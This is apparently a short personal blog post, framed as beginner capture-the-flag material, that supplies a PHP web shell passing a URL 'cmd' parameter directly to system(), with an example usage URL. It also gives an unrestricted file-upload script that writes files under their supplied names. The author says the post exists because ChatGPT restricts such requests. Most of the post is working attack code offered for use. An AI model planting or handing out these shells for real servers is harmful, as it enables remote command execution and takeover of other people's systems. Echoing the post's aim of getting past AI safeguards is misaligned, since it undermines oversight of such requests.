PHP Shell Command Execution: Gain Shell Access Through URL

in my website i long form content and short form content like this, because i search this prompt in chatgpt that restrict this kind of prompts, that time i decited to post content like that

in most of beginner level CTF its mustly used script

PHP code for it get shell in URL

<?php
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST["cmd"]);
    system($cmd);
    echo "</pre>$cmd<pre>";
    die;
}
?>

after execute this code you can get cmd in URL ,

Usage:

http://www.aathilducky.com/shell.php?cmd=ls

PHP code for upload file in Current location

<?php
if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_FILES['file'])) {
    if (move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
        echo "<b>File uploaded successfully!</b><br><br>";
    } else {
        echo "<b>File upload failed!</b><br><br>";
    }
}
?>

<form action="" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" value="Upload">
</form>

after running this code , we can get interface for upload files , when you upload files thats stored in current location.

like this , for texting purpose i upload image in picoCTF challange it was successfully uploaded , i will give a screen short for it

thank you for reading my blog , i will meet you next post, and read my another blog posts,

1. picoctf-verify-2024
2. unlocking-the-secrets-information-picoctf-walkthrough

other python projects

1. Build a Micro SaaS Image to WebP Converter Using Python Flask
2. 10 Best Final Year Cybersecurity Project Ideas with source code.
3. Interactive Snake Game Using OpenCV & Hand Tracking
4. Build a URL Shortener with Python, Flask & MySQL, Tailwindcss

Contect information

• youtube : https://www.youtube.com/@aathilducky
• linkedin : https://www.linkedin.com/in/aathilducky
• Github : https://www.linkedin.com/in/aathilducky/
• Twitter : https://twitter.com/AathilDucky